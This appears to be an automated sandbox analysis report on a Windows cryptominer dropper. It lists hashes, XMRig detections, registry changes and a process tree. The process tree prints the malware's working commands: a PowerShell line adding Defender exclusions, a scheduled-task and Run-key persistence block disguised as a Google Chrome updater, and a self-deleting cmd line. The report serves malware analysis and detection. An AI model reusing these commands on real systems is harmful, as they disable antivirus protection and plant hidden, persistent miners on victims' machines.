Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25-01-2024 16:55
240125-vfcyksbhgr 1024-01-2024 17:15
240124-vstf4aecaj 1023-01-2024 19:27
240123-x6cfvagbd9 1023-01-2024 19:27
240123-x6bvbafgem 1023-01-2024 19:27
240123-x6bjjsgbd8 1023-01-2024 19:27
240123-x6ax1sfgek 1023-01-2024 19:27
240123-x6abgsfgej 1023-01-2024 19:27
240123-x591qagbd7 1023-01-2024 19:27
240123-x59d7agbd6 1023-01-2024 19:27
240123-x584esgbd5 10Analysis
-
max time kernel
1800s -
max time network
1798s -
platform
windows10-2004_x64 -
resource
win10v2004-20231215-en -
resource tags
arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system -
submitted
23-01-2024 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
-
Target
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 4084 created 3296 4084 6aNn9vLJCQVfagSE.exe 39 PID 4084 created 3296 4084 6aNn9vLJCQVfagSE.exe 39 PID 4084 created 3296 4084 6aNn9vLJCQVfagSE.exe 39 PID 4084 created 3296 4084 6aNn9vLJCQVfagSE.exe 39 PID 2036 created 3296 2036 updater.exe 39 PID 2036 created 3296 2036 updater.exe 39 PID 2036 created 3296 2036 updater.exe 39 PID 2036 created 3296 2036 updater.exe 39 PID 4456 created 3296 4456 conhost.exe 39 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral4/memory/1268-125-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-127-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-130-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-132-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-134-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-138-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-140-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-142-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-144-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-146-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-148-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-150-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-152-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-154-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-156-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-158-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-160-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-162-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-164-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-166-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-172-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-174-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-176-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-178-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-180-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-182-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-184-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-186-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-188-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig behavioral4/memory/1268-190-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp xmrig -
Executes dropped EXE 1 IoCs
pid Process 2036 updater.exe -
resource yara_rule behavioral4/memory/1268-117-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-125-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-127-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-130-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-132-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-134-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-138-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-140-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-142-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-144-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-146-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-148-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-150-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-152-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-154-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-156-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-158-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-160-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-162-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-164-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-166-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-172-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-174-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-176-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-178-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-180-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-182-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-184-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-186-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-188-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx behavioral4/memory/1268-190-0x00007FF6F5210000-0x00007FF6F5A04000-memory.dmp upx -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2036 set thread context of 4456 2036 updater.exe 111 PID 2036 set thread context of 1268 2036 updater.exe 114 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe 6aNn9vLJCQVfagSE.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 4008 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe -
Suspicious behavior: EnumeratesProcesses 30 IoCs
pid Process 4084 6aNn9vLJCQVfagSE.exe 4084 6aNn9vLJCQVfagSE.exe 1732 powershell.exe 1732 powershell.exe 4084 6aNn9vLJCQVfagSE.exe 4084 6aNn9vLJCQVfagSE.exe 3636 powershell.exe 3636 powershell.exe 4084 6aNn9vLJCQVfagSE.exe 4084 6aNn9vLJCQVfagSE.exe 4084 6aNn9vLJCQVfagSE.exe 4084 6aNn9vLJCQVfagSE.exe 4288 powershell.exe 4288 powershell.exe 2036 updater.exe 2036 updater.exe 4888 powershell.exe 4888 powershell.exe 2036 updater.exe 2036 updater.exe 4792 powershell.exe 4792 powershell.exe 2036 updater.exe 2036 updater.exe 2036 updater.exe 2036 updater.exe 4456 conhost.exe 4456 conhost.exe 2036 updater.exe 2036 updater.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 656 Process not Found -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1732 powershell.exe Token: SeDebugPrivilege 3636 powershell.exe Token: SeIncreaseQuotaPrivilege 3636 powershell.exe Token: SeSecurityPrivilege 3636 powershell.exe Token: SeTakeOwnershipPrivilege 3636 powershell.exe Token: SeLoadDriverPrivilege 3636 powershell.exe Token: SeSystemProfilePrivilege 3636 powershell.exe Token: SeSystemtimePrivilege 3636 powershell.exe Token: SeProfSingleProcessPrivilege 3636 powershell.exe Token: SeIncBasePriorityPrivilege 3636 powershell.exe Token: SeCreatePagefilePrivilege 3636 powershell.exe Token: SeBackupPrivilege 3636 powershell.exe Token: SeRestorePrivilege 3636 powershell.exe Token: SeShutdownPrivilege 3636 powershell.exe Token: SeDebugPrivilege 3636 powershell.exe Token: SeSystemEnvironmentPrivilege 3636 powershell.exe Token: SeRemoteShutdownPrivilege 3636 powershell.exe Token: SeUndockPrivilege 3636 powershell.exe Token: SeManageVolumePrivilege 3636 powershell.exe Token: 33 3636 powershell.exe Token: 34 3636 powershell.exe Token: 35 3636 powershell.exe Token: 36 3636 powershell.exe Token: SeIncreaseQuotaPrivilege 3636 powershell.exe Token: SeSecurityPrivilege 3636 powershell.exe Token: SeTakeOwnershipPrivilege 3636 powershell.exe Token: SeLoadDriverPrivilege 3636 powershell.exe Token: SeSystemProfilePrivilege 3636 powershell.exe Token: SeSystemtimePrivilege 3636 powershell.exe Token: SeProfSingleProcessPrivilege 3636 powershell.exe Token: SeIncBasePriorityPrivilege 3636 powershell.exe Token: SeCreatePagefilePrivilege 3636 powershell.exe Token: SeBackupPrivilege 3636 powershell.exe Token: SeRestorePrivilege 3636 powershell.exe Token: SeShutdownPrivilege 3636 powershell.exe Token: SeDebugPrivilege 3636 powershell.exe Token: SeSystemEnvironmentPrivilege 3636 powershell.exe Token: SeRemoteShutdownPrivilege 3636 powershell.exe Token: SeUndockPrivilege 3636 powershell.exe Token: SeManageVolumePrivilege 3636 powershell.exe Token: 33 3636 powershell.exe Token: 34 3636 powershell.exe Token: 35 3636 powershell.exe Token: 36 3636 powershell.exe Token: SeIncreaseQuotaPrivilege 3636 powershell.exe Token: SeSecurityPrivilege 3636 powershell.exe Token: SeTakeOwnershipPrivilege 3636 powershell.exe Token: SeLoadDriverPrivilege 3636 powershell.exe Token: SeSystemProfilePrivilege 3636 powershell.exe Token: SeSystemtimePrivilege 3636 powershell.exe Token: SeProfSingleProcessPrivilege 3636 powershell.exe Token: SeIncBasePriorityPrivilege 3636 powershell.exe Token: SeCreatePagefilePrivilege 3636 powershell.exe Token: SeBackupPrivilege 3636 powershell.exe Token: SeRestorePrivilege 3636 powershell.exe Token: SeShutdownPrivilege 3636 powershell.exe Token: SeDebugPrivilege 3636 powershell.exe Token: SeSystemEnvironmentPrivilege 3636 powershell.exe Token: SeRemoteShutdownPrivilege 3636 powershell.exe Token: SeUndockPrivilege 3636 powershell.exe Token: SeManageVolumePrivilege 3636 powershell.exe Token: 33 3636 powershell.exe Token: 34 3636 powershell.exe Token: 35 3636 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2060 wrote to memory of 2012 2060 cmd.exe 103 PID 2060 wrote to memory of 2012 2060 cmd.exe 103 PID 4288 wrote to memory of 560 4288 powershell.exe 104 PID 4288 wrote to memory of 560 4288 powershell.exe 104 PID 2036 wrote to memory of 4456 2036 updater.exe 111 PID 3216 wrote to memory of 4008 3216 cmd.exe 113 PID 3216 wrote to memory of 4008 3216 cmd.exe 113 PID 2036 wrote to memory of 1268 2036 updater.exe 114 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3296
-
C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:4084
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1732
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3636
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2060 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2012
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4288 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:560
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4888
-
-
